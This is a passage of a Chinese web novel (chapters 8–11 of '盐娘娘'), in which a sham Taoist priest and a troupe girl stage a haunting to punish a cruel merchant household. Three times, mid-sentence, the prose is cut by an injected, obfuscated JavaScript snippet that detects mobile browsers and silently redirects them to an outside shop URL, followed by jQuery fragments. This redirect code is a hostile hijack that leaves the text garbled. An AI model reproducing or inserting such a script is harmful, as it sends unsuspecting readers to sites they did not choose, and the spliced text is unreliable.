万历十二年四月十五……不就是那孤女入府的日子吗！ 想明白了这个中缘由，桃儿吓得额头沁汗，打起了摆子。老夫人蹙眉看了她一眼，支使道：“桃儿，你这就去那悬寻留的地址问问看，我和小顺子在这儿等你，快去。” 桃儿本就吓得头脑一片空白，这边厢又要被老夫人安排着，独自前往猫儿胡同的深处，当即脑袋摇成了拨浪鼓：“老夫人，您让顺子去吧，婢子……婢子怕……” 邵老夫人眉眼竖起，疾言厉色道：“让你去你就去，还敢跟主子讨价还价！” 邵老夫人最初的确是想安排小顺子去办的，毕竟他腿脚快，嘴皮子利索，一来一回用不了多长时间，自己也不必在这鱼龙混杂之地耽搁太久。可若这唯一的男丁走了，邵老夫人心里又着实害怕，桃儿又是个不甚靠谱的，只怕危险来了跑得比自己还要快。思来想去，也只能让桃儿去办了。 桃儿不敢再行违逆，心中叫苦，战战兢兢地转过身，在邵老夫人严厉目光的逼视下，一步一步朝着猫儿胡同深处的三道巷朱漆矮门挪去。 8. 盐娘娘（八） 桃儿磨磨蹭蹭地凑到那朱红色的矮门前，深吸一口气，正欲拍动门上的铜环，却忽然“吱呀”一声，矮门应声而开。 门后，露出一张圆润俏丽的小脸，正是小班主——唐珠儿。她穿着一件水红色的比甲，微微翘起的鼻头向上皱着，在鼻梁上形成一道猫儿似的横纹。 “这位姐姐是……”唐珠儿亮晶晶的眸子上下打量着桃儿。 见开门的是个年画娃娃般的小姑娘，桃儿提到嗓子眼儿的心方才落了地，道：“小妹妹，还请唤你家班主出来一叙。” 唐珠儿歪了歪头，莞尔道：“姐姐跟我说就行，我就是玉梨班小班主。” “你？”桃儿一怔，实在是无法将面前的小女孩儿和想象中的戏班班主对应起来，可既然对方认下了身份，她也只得硬着头皮，从怀里掏出那份皱皱巴巴的悬寻：“我……我是替自家主子来问……这个人偶的事儿……” 唐珠儿眸光一亮，兴奋地“哎呀”一声：“姐姐是说她呀！前些日子在城隍庙唱大戏，我一不留神就将她搁在戏箱上了。谁料，就是个眨巴眼儿的功夫，转头就找不见了，可把我急坏了！”她亲亲热热地拉住桃儿的手，“可是让姐姐寻着了？” 桃儿赶紧摆手：“倒不是寻着了，而是……”她思量了一下措辞，方苦涩道，“我家老夫人见了帖子，说这人偶生得像府里新收的丫头，便想问问……”她咽了口唾沫，终究是没敢把“妖物”二字说出口，“想问问这傀儡人偶是不是有什么门道？” 唐珠儿闻言瞪大了眼睛，以手掩口，压低声音道：“难不成……” 她声音细弱，恍若蚊鸣，勾得桃儿抓心挠肝，赶紧上前一步，追问道：“难不成什么？” 唐珠儿苦了脸，犹豫道：“我也不敢确定……当时雕这具人偶之时，戏班里的老人就提醒过，这槐木属阴，傀儡人偶活在戏中，历经悲欢离合，只怕会种下因果。我是个不信邪的，只当个玩笑听了，没有放在心上。” 桃儿的脸色愈来愈白，身子却止不住向着唐珠儿的方向倾了过去。 “那……那后来呢？” “后来，这人偶跟着戏班走南闯北，演出了不少剧目。近些日子，我从别处得了一个话本子，讲的是一个被富商买了去的姑娘，在主家受尽苦楚，没过两年便不明不白地死了，只余下一个吃奶的娃娃……后来姑娘化作厉鬼，索了那富商一家子的命去。自从演了这部戏，这人偶便不对劲起来，只怕……” 桃儿听得口干舌燥，只觉这玉梨班小班主所说的话本子，怎地经历和四姨娘这般相似，天底下当真有这么巧合的事情？ 见桃儿目光闪动，心跳如擂鼓，唐珠儿声音压得更低了，近乎梦呓：“只怕是种了戏里的因果，分不清戏文和现实，便化成人形，到人间历练去了。若真的如姐姐所说，府上的新来的丫鬟和人偶一模一样，恐怕……” “府上不日就会有大麻烦！” 最后几个字，唐珠儿骤然放大了音量。那桃儿正凝神细听，冷不防被这声音一惊，骇得“嗷”地一嗓子嚷了出来，腿弯一软，摔坐在地，几乎魂飞天外。而也恰恰在桃儿三魂没了七魄的同时，唐珠儿掩在身后的手悄无声息地探出，往桃儿的腰间塞了什么东西。 桃儿摔在地上，吓得哭出声来：“那……那怎么办啊！” “若是运气好，姐姐能在府上寻到那人偶，还回我这里，倒也罢了。可若是遍寻不到，只怕……就是劫数了。” 唐珠儿将抖成筛子的桃儿扶了起来，桃儿哪里还敢在戏班子多呆，只忙不迭地要回去寻老夫人。眼瞧着桃儿攥着悬寻，跌跌撞撞地扑出院儿去，唐珠儿斜倚在门框上，不由笑出声来。 “晏回姊姊说得没错，这一府的人，有胆子作恶，却没胆子承因果，可笑得紧。” 红唇微张，一颗春杏被抛入口中，唐珠儿凝着桃儿远去的背影，心满意足地咀嚼起来。 * * * 待桃儿攥着悬寻，一步一踉跄地回到与老夫人分别的路口，却见那里多了一个身姿如鹤的人影，定睛细瞧，正是上午见过的白袍道人。那道人一脸严肃，正倾身与老夫人说着什么，好看的眉毛蹙了起来，在鼻梁上方形成一个“川”字。 桃儿心里早已被吓得没了主意，这方见道人在场，膝盖一软，扑通一声跪了下来。 “道……道长救命啊！” 正在谈话的三人被桃儿唬了一跳，皆垂头向她看去。只见小丫鬟额头沁满了冷汗，双眸含泪，脸色惨白，显然是受了不小的惊吓。 “当着道长的面，这般一惊一乍，成何体统！”老夫人本就心里憋着一团火，这边又让桃儿一嚷，更是怒气难掩，斥道。 范凌舟双眉微展，脸上露出一丝了然的笑意：“姑娘可是听到了什么风声？” 桃儿哪还敢有所隐瞒，连忙竹筒倒豆子，将刚刚听来的消息吐露了个精光。 待桃儿哽咽着说完，不光是邵老夫人哑然无话了，就是搀扶着老夫人的小顺子也寂然无声。范凌舟用余光瞟了一眼二人，长叹一口气：“无量天尊，这般说来，此事甚是棘手。” 邵老夫人紧扣着大拇指上玉扳指，耳畔嗡嗡作响，方才还在骂桃儿“不成体统”的底气早被抽得干干净净。她深吸了两口气，颤抖道：“还望道长……给老身指条活路。若真如那戏班班主所说，是傀儡人偶成了精，鲁府上上下下数十口人的性命，可都在道长的一念之间啊！” 范凌舟心中冷笑，与桃儿的手足无措相比，这老夫人倒是倒驴不倒架，明明是她与她那宝贝儿子造下的孽障，反倒想要将大帽子扣到他的头上来。还什么“全在道长的一念之间”，着实有趣。 纵然心中不屑，可范凌舟面上却是平静：“老夫人且莫慌。贫道虽不才，却也见过些魑魅魍魉，降过些邪魔外道。若想震慑此妖孽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595668|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，贫道得先见着她真身方可。” “见！见！这是自然！”邵老夫人忙不迭点头，“小顺子，这便给道长备轿！” 范凌舟却高深莫测的摇了摇头，拉长声音道：“捉妖一事，最忌急功近利，今日正午已过，不宜镇妖。后日巳时三刻，贫道定当登门拜访。这两日，老夫人切不可与那妖孽起冲突，以防其提前生事。” “不冲突！不冲突！道长说得甚是！”邵老夫人连声道，“老身这便回府，命人把那小蹄子的活计全撤了，再许她一个单独的院落，连院门都不许她出！” 范凌舟微微抬袖，掩住唇角挽起的弧度，正色道：“贫道既然应下，便不会坐视不管。后日巳时三刻，定然叫那妖孽形神俱灭！” 老夫人闻言，激动地嘴角抽动数下，突然褪下自己腕间的金镯，不由分说便往范凌舟怀里塞：“道长，这金镯是老身的陪嫁之物，这便赠予道长，权作茶钱。” 范凌舟微微垂眸，只见那金镯的镯面錾着缠枝莲纹，花瓣边缘翻卷如浪，一看便不是凡品，心中不由暗暗叫苦。天人交战片刻，范凌舟还是义正词严地将金镯推了回去：“老夫人这是作甚，贫道乃方外之人，不收俗世之物，老夫人快快收回。贫道只盼老夫人这两日，万事忍耐，勿以小不忍而乱大谋。” 邵老夫人既惭且愧，喏喏称是。 再抬头，白袍道人已飘然远去，隐入猫儿胡同的暗影之中。老夫人身子一软，小顺子眼疾手快地探手一拦，将老夫人扶入轿中。 小顺子跟着东奔西跑了一整天，事情的来龙去脉也了解了个七七八八，这番见老夫人打定了主意要对付那新来的孤女，心中竟有些不落忍，便开口劝道：“老夫人，趁着那丫头还没作妖，要不咱今夜就把她撵出去吧？” 无家可归总比形神俱灭要强吧？小顺子心中暗道。 “糊涂！”老夫人狠狠劈来一个眼刀，“你方才没听到吗！道长说不能起冲突，不能起冲突！万一那妖孽急了眼，伤了老爷怎么办？” 小顺子不敢反驳，脑海中想得尽是柳树下佳人的倩影，那般柔弱白皙的神仙人物，岂能是老夫人和道士口中的妖孽呢？即便真是妖孽，她又没有害人，为何要让她形魂俱灭呢？小顺子突然觉得，他也许真的没有本事能够拿捏鲁府上下，他无非也是挣扎在这片污泥中的蝼蚁罢了。 想及此，他突然升起了与他心目中的柳树美人——晏回同病相怜之感。 邵老夫人可不在意小顺子心中的计较，只是急急地命令轿夫起轿。随着轿子稳稳抬起，邵老夫人注意到桃儿还呆立着，垂头盯着自己的手，不知在想些什么。 老夫人怒从心起，斥道：“若是不走，便呆着吧！” 桃儿吓了一跳，慌忙将手藏到身后，一溜小跑地跟到轿子旁。 邵老夫人没有看到，桃儿手中紧紧攥着一团细长的丝线，在阳光下闪烁着苍白的冷光。 9. 盐娘娘（九） 夜笼小院，月照孤窗。 晏回躺在床榻上，合拢双眸，静静感受着窗外流泻而入的月色，在薄薄的眼皮上破碎又聚合。邵老夫人果然听从了范凌舟的“劝告”，命人撤了她浣衣的活计，崔氏面前也不许她伺候了，只是给她“升”了个“静养”的虚衔，实则用两个粗使婆子守着院门，将她看得死死的。 一切事情都在计划中进行着，晏回也乐得清闲，少了那鲁秉添时不时地骚扰，日子倒也自在。 突然，眼皮上笼着的月色无预兆地颤了颤，晏回警惕心起，悄无声息地坐起身来。 屋外，传来人踮着脚走路的轻响。 “晏姑娘，你还醒着吗？” 那声音压得极低，可晏回还是立刻分辨出了声音的主人——小顺子。 她没有答话，静静地凝神细听。 小顺子见屋里头没有声响，迟疑了一阵儿，又低声道：“大夫人今日去佛堂抄经，没带梅兰竹菊……你若醒着，便去见见夫人吧！” 挂在门上的锁被轻手轻脚地打开了，漏出一道细长的门缝，苍白的月色透了进来，小顺子的身影却已然找不见了。 晏回有些惊异地挑了挑眉毛，这倒是完全在她计划外的事件了。 没带梅兰竹菊，这不就是暗示她，大夫人正孤身在佛堂中候着她吗？ 晏回心中暗道，既然对方诚心相邀，又岂有不见之理。 她姿态坦然地站起身，推开院门，走入茫茫夜色之中。 * * * 佛堂的门虚掩着，门缝里漏出一线昏黄的烛火。崔氏跪在佛像前的蒲团上，供桌上的烛火被风掀得晃了晃，让她投在墙上的影子如同一片摇摇欲坠的枯叶。 “夫人，您寻婢子？”晏回柔柔施了一礼。 崔氏没有回头，只是将手中的佛珠攥得更紧了。那串檀木珠子被她盘得油亮，随着指尖的动作发出细碎的摩擦声。 “今晚，你便走罢。”崔氏冷冷道，“褡裢已经替你备好了，卖身契就在里面，小顺子在角楼外替你雇好了马车，不要再耽搁了。” 崔玉容的语气极冷极硬，话锋颇疾，似乎生怕晏回打断她的话头一般。 晏回琥珀色的眸子微微睁大，探询地望着那僵硬挺直的脊背，半晌竟是笑了。 这一声轻笑，在四下无人的佛堂中格外刺耳，也彻底激怒了崔玉容。大夫人倏地转过身，紧攥着手中的佛珠，死死盯着晏回的脸：“你当我与你玩笑！？你可知你死期将至！” “明日巳时三刻，老夫人要请道士来府里捉你，我听说，那道士厉害得紧，只怕拂尘一挥便能让你形神俱灭。”崔玉容银牙紧咬，一字一顿道，“今日我放你一条生路，莫要不识好歹，枉送了卿卿性命。” 晏回看着面前的女子神色狰狞地低语着，那双古井无波的眸子里，此刻盛满了燎原的怒火和无法遏制的厌恶。没错，厌恶，那是崔玉容对自己本身的厌恶。 “这么说来，大夫人是信了？”晏回温声道。 崔氏被问得一怔，灼烧喉咙的怒意被强行吞了下去。 “既然信了，那为何夫人不怕我？”晏回的脸上再也没有了弱柳扶风的苍白柔质，唯余灼灼锋锐。“你就不怕我从了因果，伤你性命吗？” 崔玉容定定地望着她，半晌双眸缓缓垂了下去，指尖的佛珠又一次转动起来，面容一片平静，“这世上哪有什么因果，若是真的有——”她的声音低得恍若蚊鸣，“我死又有何辜……” “可是你……没有必要……” 崔玉容本已经对这样的日子没有什么期待了，她不在意鲁秉添再添几房美妾，不在意鲁府再多几个孩童，甚至不在意时间的轮转，因果的循环。人，不就是那样一件物什，放在哪里都得过着那样无望的日子。 早已没有人在意她的喜怒哀乐，毕竟，连她自己都忘了，自己也是一个会哭会笑的人了…… 可是，那个人在意。 对面那个素昧平生的女子，在意。 ——婢子只希望……夫人能开心些…… 崔玉容狠狠咬了咬嘴唇，垂下头去。 所以，那女子是孤女也好，是妖孽也罢，她都祈盼她能好生活着。 “夫人，你和我一同走吗？”晏回平静道。 崔玉容再也难以掩藏自己内心翻涌的滔天巨浪，她不可置信地凝着晏回的脸，直看到那浅淡的眸子深处，良久，她双眉垂耷下来，仿佛那夜暴雨又至，将她浇了个透心凉。她摇了摇头，声音带着哭腔：“我早已经走不得了。” 她可不是晏回那般家破人亡，只能卖身葬父的孤女，她的身后还有未及弱冠的弟弟，还有卧病在床的母亲…… “既然如此，那我也不会走。”晏回道，她的唇角噙着某种崔玉容看不透的笑意，与往常虚弱苍白的女子判若两人，“那道士，我正想会会。” 空寂无人的长街上，更夫敲了三更，梆子声惊起几只夜鸦，扑棱棱掠过鲁府华丽的瓦檐。窗外的月光淌了进来，漫过供桌，将整个佛堂淹没在一片惨淡的辉光里。 * * * 第二日一大早，鲁府上下便按照范凌舟的要求忙活起来。 众人沐浴洁身，搭建醮坛，备选贡礼，直忙活到巳时两刻，范凌舟才带着众道士姗姗而来。范凌舟着一身月白道袍，头戴玉清冠，身背桃木剑，腰系水火丝绦，足登青缎云鞋，身形颀长，脊背板直，自有一番渊渟岳峙之气势。他的身后紧跟道童数名，亦是各个眉清目秀，不染俗尘，只这一亮相，便让候在门口迎接的邵老夫人又信了七八分。 寿光城可算不得“小门小户”，城外的宁国寺更是香火鼎盛之所，邵老夫人也可说是见多识广，参与过多次佛家法事，可像范道长这般仙风道骨的神仙人物，她却是闻所未闻，见所未见。她赶紧迎了上去，一通“额弥陀佛”“无量天尊”“无量寿佛”的乱喊，将众道长请入府中。 众道士也不废话，待范凌舟检查完醮坛，点数完贡礼，便开始各司其职。三法师玄坛步趋，众道童或侍经香、灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595669|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏，或监坛、正仪，让府上众人看得目不暇接，心中连连叹服。 ——不愧是老夫人请来的道长，个顶个跟神仙一般。 人群中的鲁秉添打了个哈欠，不耐烦地瞅着院中忙碌的“不速之客”。与自家迷信的母亲相比，鲁秉添对鬼神一说嗤之以鼻。 他不知道为何母亲要急急火火地请一堆道士来家中开坛作法，也不明白为何母亲说什么也要让新买的婢女到偏院休养。他能容忍母亲“折腾”至今的原因有二：一是，这终究是他的母亲，便再是不耐不屑，只要不“闹”到他的头上来，他总可以睁一只眼闭一只眼；二是，他想为自己迎娶婢女晏回扫清道路，自己已然让步在先，想来母亲不会再多置喙了吧！ 所以，虽然他对这场法事毫无兴趣，可母亲央求他来，他还是来了。只盼母亲闹过这一场，便能从了他纳妾的心思，莫要再生事端了。 正想着，却听鼓乐齐鸣，法事正式开始了。 只见那称作清水道人的范凌舟随着道曲，煞有介事地行起了禹步，口中念念有词，清晰入耳：“步天之精，役使万神。天罡所指，万邪伏藏。邪魔见者，化作微尘。天兵拱卫，急急如律令！” 乐音才落，长剑已然挥出，剑尖所指，正是象征着火沼的炭盆。只听“呼”地一声爆响，炭盆中腾起数道白烟，直冲青天，骇得老夫人差点儿叫出声来。观礼的下人们也都瞠目结舌，鸦雀无声。 还不待众人缓过神来，范凌舟一个凌空翻，桃木剑又刺向象征着水池的盛满水的铜盆，口中大喝：“强我三魂，灭鬼除精，摄！” 顿时，铜盆的清水如同沸腾一般，噼里啪啦地躁动起来。 老夫人踮脚瞧得真切，惊得险些摔将过去，手中的念珠捏得哗啦作响，口中连连道：“神了，真是神了！” 这法事所用之物，皆是鲁府所备，就连那烧火用的碳，铜盆中盛得水，都是自府上取得，绝无弄虚作假的可能。如何让邵老夫人不俯首帖耳，奇之惊之！ 可她哪里知道，这些在寻常人看来绝无可能之事，在妙手空空的小班主唐珠儿眼里，便是再简单不过的小伎俩罢了。无非是几粒晒干的皂角籽，一把不显眼的磷粉，再加上范凌舟巧妙地配合，终成此骇人听闻的“伏魔阵”。 刚开始还不屑一顾的鲁秉添，此刻的脸色也逐渐严肃起来。装神弄鬼之人，最是明白这鬼神之说其中的弯弯绕绕，是以他虽说躲在人群中，却看得最为仔细。可饶是如此，他也没看出来丁点儿门道。 难道说，这什么清水道人当真有些道行？ “府中阴秽之气甚重，此刻本道以水火交炼，阻其邪性，以期收召亡魂，照耀诸天，续明破暗。” 邵老夫人一叠声道：“道长神功盖世，老身今日是见识了，见识了。” 邵老夫人正欲再捧杀数句，却见范凌舟双眉一拧，猛然转身：“妖孽！还不伏诛！” 众人齐齐回头，却惊异地发现，范凌舟拂尘所指之人不是别人，正是鲁府当家的——鲁秉添！ 10. 盐娘娘（十） 邵老夫人老脸一僵，赶紧摆手道：“道长息怒，这可不是妖孽，这是吾儿秉添啊！” 范凌舟欺上一步，坚定道：“贫道所指，并非鲁老爷，而是鲁老爷背上负着的女怨！那女怨煞气冲天，想来是溺毙之鬼，身上还滴着水呢！” 此言一出，邵老夫人和鲁秉添不由得对视一眼，面色尽皆惨白，还不待他们做出反应，范凌舟便一挥拂尘，喝道：“摆阵！莫让那女怨跑了！” 话音才落，数名道士微步凌波，身随影动，将鲁秉添团团围住。 鲁秉添只来得及仓皇地喊出一句：“诶诶！？娘——”下一瞬，人便被范凌舟一脚踹在膝窝上，面朝下扑倒在地，摔得鼻血横流。范凌舟翻到鲁秉添的背上，双腿紧紧箍住他鼓鼓囊囊的腰腹，一手钳住他的后颈，另一只手反手抽出桃木剑，用剑背狠狠拍在鲁秉添的背上。 “啪”地一声脆响，紧缀着一声鲁秉添杀猪似的惨嚎，直冲云霄。 范凌舟这一剑背打得极巧，既不真伤筋骨，又疼得鲁秉添五脏六腑都跟着颤。一剑拍下去，又追上一剑，让鲁秉添的惨叫更上一层楼。 范凌舟心中暗道：我答应过西楼，绝不对女人动手，可你就不一样了，便替你夫人受过吧！不对，罪魁祸首本就是你，这顿打也算便宜你了！ 想到晏回那夜脸颊上微红的指痕，范凌舟下手又重了几分。他倒是打痛快了，鲁秉添却疼得几欲昏死，像条肥硕的鲶鱼般拼命扑腾着，“你这牛鼻子，你敢动——啊！” 话音才起，第三剑又落，把鲁秉添的骂骂咧咧化作一声凄惨的呜咽。 “你这女怨，还敢反抗！道爷我今日要让你知道知道厉害！” 邵老夫人终于从震惊中回过神，踉跄着扑过来要拽范凌舟的道袍：“道长！莫要伤了添儿！这……这是为何啊！” 范凌舟双眉紧蹙，满眼的忧急之色：“老夫人，千万莫要拦阻，若不将这女怨逐走，只怕鲁老爷的性命岌岌可危啊！” 邵老夫人惧得哭出声来，又想拦又被吓得不敢拦，只能双手捂脸，大放悲声：“不是人偶精吗，怎地又来了个女怨？她们是想让我家宅永无宁日啊！” “老夫人莫急，只消再抽几剑！” 范凌舟扬起手臂，势大力沉地重重挥了下去。 一时间，惨叫声，呜咽声，喝骂声，鼓乐声，惊飞的鸟叫声，下人的低语声响成一片，在日头初起的鲁府蒸腾起一派热闹的烟尘。 大宅西北边的僻静小院里，冲着醮坛一侧的轩窗微微打开了一条缝。晏回倚窗而立，望着范凌舟手持桃木剑，后仰成一道拱桥的背影，眼尾漾开极浅的笑，但那层笑容只是一瞬，便很快被更深沉的冷意代替，凝成苍白的冰寒。 “第七剑！”范凌舟终于长出一口气，松开钳制着鲁秉添的手，收剑入鞘。鲁秉添此刻连呜咽声都没了，如同一滩化开的猪油般扑在地上，只能看出臀部和大腿处还有着微微的颤抖。 范凌舟活动了一下酸胀的手腕，翻身而起，冲老夫人一礼：“老夫人，负在老爷身上的女怨已散，只需休养几日，老爷便能活动如初了。” 邵老夫人哪敢反驳，只能咬紧惨白的下唇，无力地点了点头。 范凌舟微微一笑，冲众道士使了个眼色，立刻便有人站出来，将瘫软在地的鲁秉添拉扯了起来，半抬半抱着往房里送。 大仇得报，范凌舟志得意满道：“老夫人，万事俱备，还请将那位‘女眷’请出来吧！” 邵老夫人赶紧将目光从鲁秉添的背影上撤了回来，惶急道：“道长，你是说那妖孽？” “除了她还有谁？”云淡风轻的笑容从眸中敛去，范凌舟摆出架势，右足后撤，一手持符，一手持剑，满脸的视死如归。天青色的春风灌满了他月白的袍服，如同一只振翅欲飞的仙鹤。 “布阵！”一声清喝，众道士若归位的天罡北斗，严阵以待。 一番折腾下来，终于让邵老夫人等来了斩妖除魔的时刻，拉长的老脸上也终于有了一丝红润之色，邵老夫人清了清嗓子，道：“把那小蹄子带出来！” 不多时，西北角小院的门扉应声而开，众人呼啦啦地让开了一条路，屏息凝着那缓步而出的身影。袅娜，苍白，平静，却暗含锋芒。 此时，众人的目光都一瞬不瞬地盯着晏回，范凌舟也得以缓了口气，短暂卸下伪装，同众人一道望向那淡青色的影子。她同初遇时一样，有着让人移不开视线的吸引力；亦如同初遇时一样，藏着无人可战胜的隆冬。 他们已经合作了两年，她对他算得上了如指掌，而他对她，依旧可以称得上一无所知。范凌舟几不可查地轻叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595670|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口气。 察觉到范凌舟的视线，晏回微微抬眸，待那如鹤的身姿彻底倒映在眼瞳之中时，嘴角微微上扬，露出一个意味不明的笑。下一瞬，仙风道骨的清水道人范凌舟突然脸色一僵，双眼翻白，直挺挺地倒在了地上！ 众人怔住了，不知所措地看了看翻着白眼的范凌舟，又迷茫仓皇地看了看晏回，双手垂在两股旁，于风中战战，口唇微张，一语不得言。邵老夫人更是老脸惨白，不知该如何是好。 正在众人呆愣之际，却听一名道长大喊了一句：“阵眼已破！速速将妖孽囚于房中，免其伤人啊！” 这一闹院子里炸开了锅，绝大多数下人们，一开始根本不知道事情的全貌，还以为是老爷老夫人心血来潮兴办的佛会法事。可即至老爷被打，新买的孤女被请出来，再消息不灵通的下人都猜出了几分门道，再到号称神仙人物的道长如玉山倾颓，轰然倒地……最初的八卦好奇变成一层接着一层浮上来的鸡皮疙瘩，数名胆小些的婢女已经吓得哭了起来，邵老夫人则一手拽着小顺子，一手扯着桃儿，几乎站不直身子。 晏回扫量了一圈院中荒唐的众人像，冲着老夫人淡淡行了一礼，道：“婢子不知何事触怒了老夫人，引得老夫人这般忌惮婢子。婢子不愿让老夫人为难，这便告退了。” 她悠悠转身，最后瞟了一眼还手脚僵硬昏死在地上的范凌舟，后者翻白的双眼不易察觉地眨动了一下。晏回垂下眼帘，掩住眸中隐约的笑意，径直朝西北方的小院儿走去。 众位道士如临大敌地紧随其后，眼瞧着晏回刚掩上房门，无数符纸便霹雳啪啦地贴了满屋满墙，辟邪的朱砂跟不要钱似的泼在门上。 见房中始终未有声响，众道士方才缓了一口气，又跑回去七手八脚地将昏迷不醒的范凌舟抬进客房里。 * * * 邵老夫人双目无神地看着面前白净无须的脸，在这个道长的安排下，他们鲁府上上下下忙活了一个晌午，最终换来了什么？换来了下人们草木皆兵，换来了添儿伤痕累累，那罪魁祸首——人偶精倒是全须全影，分毫未损。 可这道长呢，竟还在这里昏聩不醒。若不是所遇之事的确蹊跷，邵老夫人几乎要怀疑自己是上当受骗了，可是…… 正想着，面前的男子眼皮轻颤，转醒过来。 11. 盐娘娘（十一） “道……道长，你这是……怎地了？”邵老夫人小心翼翼道。 范凌舟捂着额头，夸张地呻吟了一声，气若游丝：“让老夫人见笑了。那妖孽乃千年槐木所化，道行深厚，才一进法阵，便冲破了贫道的阵眼，使得贫道气血逆行，昏死当场，实在是着了她的道。” 邵老夫人紧蹙着眉头，想起这道长抽打自己添儿之时，倒是虎虎生风。怎地刚一碰上那女子，就高下立现了呢？不由嘴角抽了抽，冷冷道：“那道长的意思是……这小蹄子比你原先想见的更加厉害？” “岂止是厉害！”范凌舟撑着身子坐了起来，“那傀儡人偶吸了戏文里的怨气，又得了人间香火，早成了精怪里的‘煞’，和附着在鲁老爷身上的女怨不可相提并论。” “那如今，该如何是好？”邵老夫人此时也是左右作难，既不敢尽信于范凌舟，又不敢任由他离去，独自对抗那人偶精，思来想去，还是只能让范凌舟给拿个主意。 范凌舟正欲开口，却听外间传来细碎的脚步声，原是桃儿端着青瓷药碗走了进来。她偷看了一眼衣衫凌乱的范凌舟，面色微红，轻声道：“老夫人，厨房熬了安神汤……” 话音未落，却见刚才还病恹恹的道长突然暴喝一声：“退下！”与此同时，一道符纸应声飞出，“啪”地钉在桃儿脚前的青砖上。符纸边缘腾起一缕青烟，发出“滋啦”轻响，竟是自顾自烧灼起来！ 经历了晌午的一番折腾，桃儿本就有些杯弓蛇影，此时被范凌舟一吓，登时手一松，药碗“当啷”砸在地上。 “道……道长，婢子只是……只是送药啊……”桃儿颤声解释道。 迎着老夫人疑惑的目光，范凌舟缓缓起身，捏着指诀向桃儿踏出一步，用不容置疑的语气道：“你身上有阴煞之气！”他用脚尖踢了踢那已然成为一摊灰烬的符纸，道：“老夫人且看，这符是用朱砂混了雄黄酒画的，遇妖则燃。” 这符纸就燃在眼前，老夫人心中的半信半疑又消了几分，她倒抽一口冷气，向后缩了缩，几乎将整个身子藏到了范凌舟的影子下：“桃儿，你让那妖孽缠上了！？” 桃儿抖似筛糠，拼命摇头：“婢子没有，只是……只是……” “如实说来！”范凌舟喝道。 桃儿再也忍不住，大哭道：“只是那日从猫儿胡同回来，婢子……婢子发觉多了样东西……婢子不知道是什么，便随手丢了，谁知第二日，那东西却又……又出现在婢子房中……婢子扔几次，它便回来几次，就好像……跟定了婢子一般！”她哭得涕泗横流，显然连日来承受的心理压力不小。 只见桃儿从怀中缓缓掏出一物，那东西细若蛛丝，却坚韧无比，在阳光下闪烁着银色的寒芒，正是那日唐珠儿用妙手空空之术暗藏在桃儿腰间之物。 范凌舟的瞳孔骤然收缩，一把抢过丝线，手指几乎要掐进掌心：“这是傀儡丝啊！”范凌舟猛拍了一下大腿，道：“怪不得啊，怪不得！这样的话便都能串起来了！这傀儡丝乃是精怪怨念所化，缠上活人就能探人神智、听人言语。桃儿姑娘日日跟在老夫人身边，那人偶精便通过这傀儡丝将咱们的计划偷取得明明白白，破我阵眼自然如同探囊取物般容易了！” 桃儿是邵老夫人的贴身丫鬟，又跟着邵老夫人去过猫儿胡同，更是被老夫人逼着去见了玉梨班班主，可算得上是鲁府知晓此间内情最多的下人了。邵老夫人平日里说话，自是不避她，现如今回想起来，邵老夫人如遭雷击，她死死盯着那团丝线，只觉千万条银线正从墙缝里钻出来，缠上自己的脖颈。 她颤抖着抓住范凌舟的道袍：“道长，那、那如今究竟该如何啊！你可不能弃之不理啊！” 窗外天色渐沉，橙红色的夕阳直坠向苍青色的山岚之下，恍若投入深潭中的浑圆宝珠。望着那沉沦的日头，范凌舟知道，此刻火候已足，邵老夫人的恐惧，鲁府上下的惶惑，楚庸的仇恨，楚怜的冤屈……至此为止，都该收网了。 他深吸一口气，将道冠重新正了正，声如洪钟：“老夫人且宽心，贫道断不会半途而废。那妖孽虽狠厉，却不知刚极必折，物极必反，而这傀儡丝，恰恰就是它的死穴所在。”他将手中的傀儡丝收入黄囊中，以符纸附之，才道：“老夫人可记得三日后是何日子？” “五月初五……是端阳节？”邵老夫人掐指算道。 “正是！”，范凌舟颔首道，“这人偶精乃槐木所化，极阴；端阳节乃‘正阳启午’之日，极阳，阴阳相冲，它的怨气本就弱了三分。而寿光城自古便有端午点天灯，赏烟火的传统。待得万千天灯腾空，满城灯火映得夜空如昼，它的阴魂悬在阴阳交界，便是此妖孽最为衰弱之时。若在那时，以贺节为由，请玉梨班进府，唱那妖孽最为执念的折子……” “然……然后呢！”邵老夫人攥着帕子的手青筋直跳，急问道。 “然后——”范凌舟不紧不慢，胸有成竹道，“于西北位起法坛，以五雷符引天地煞气，轰燃此傀儡丝……”范凌舟冷笑一声，“那妖孽必将魂飞湮灭！” 道袍翻卷如浪，道人目光灼灼，邵老夫人喉头紧了紧，艰涩地咽下一口唾沫：“这……这就能斩草除根？” “贫道保证，定能——永绝后患！” 